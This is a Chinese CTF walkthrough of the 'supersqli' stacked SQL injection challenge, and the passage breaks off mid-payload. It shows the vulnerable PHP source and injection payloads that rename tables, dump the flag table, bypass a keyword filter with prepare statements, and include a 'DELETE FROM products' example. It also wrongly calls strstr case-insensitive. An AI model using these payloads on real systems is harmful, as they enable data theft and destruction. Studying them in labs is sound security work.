文章目录
一.supersqli
First 解题分析:
根据提示,知道这是一道注入的题
(1)首先判断是否存在注入点
在输入框里尝试:
1' and 1=1# //成功
1' and 1=2# //失败
(2)获取列数
1' order by 2# //正确
1' order by 3# //报错
所以推测有两列
(3)开始注入
开始想用union联合查询进行爆破
但是发现不行,会返回这样的错误信息:
分析:
preg_match 函数用于执行一个正则表达式匹配。
可以看到限制使用了select等方法
之后用堆叠方法进行注入。
堆叠注入
1.知识点:
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
参考链接:https://www.cnblogs.com/0nth3way/articles/7128189.html
2.本题内容
<?php
function waf1($inject) {
preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);');
}
function waf2($inject) {
strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
}
if(isset($_GET['inject'])) {
$id = $_GET['inject'];
waf1($id);
waf2($id);
$mysqli = new mysqli("127.0.0.1","root","root","supersqli");
//多条sql语句
$sql = "select * from `words` where id = '$id';";
$res = $mysqli->multi_query($sql);
if ($res){
//使用multi_query()执行一条或多条sql语句
do{
if ($rs = $mysqli->store_result()){
//store_result()方法获取第一条sql语句查询结果
while ($row = $rs->fetch_row()){
var_dump($row);
echo "<br>";
}
$rs->Close(); //关闭结果集
if ($mysqli->more_results()){
//判断是否还有更多结果集
echo "<hr>";
}
}
}while($mysqli->next_result()); //next_result()方法获取下一结果集,返回bool值
} else {
echo "error ".$mysqli->errno." : ".$mysqli->error;
}
$mysqli->close(); //关闭数据库连接
}
?>
这里的重点是multi_query()函数:执行一条或多条sql语句,然后将结果全部输出。这就使堆叠注入有了前提。
3.开始堆叠注入:
(1)查看表
1';show tables;
(2)查看字段
1';show columns from `1919810931114514`#
1';show columns from `words`#
可以看到我们要想获得flag,需要访问“1919810931114514”表中flag字段的内容。
(3)查看具体内容
这里有两种方法进行解题:
思路一:
正常输入1时,推测显示的应该是words里的内容,所以,通过数据库注入修改191…这个表名字为words,得到显示。
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
拆分开来如下
1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);
#
之后在显示所有内容即可
1' or 1=1#
方法二:
通过对select进行预编译的方式绕过对select的检测:
预编译相关语法如下:
set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
构造:
-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
拆分开来如下
-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt;
#
可以看到:还是做了一定的限制
但是经过以前的学习知道,strstr这个函数对大小写并不敏感,所以把原来的命令换成大写就行:
-1';set @sql = CONCAT('se','lect * from `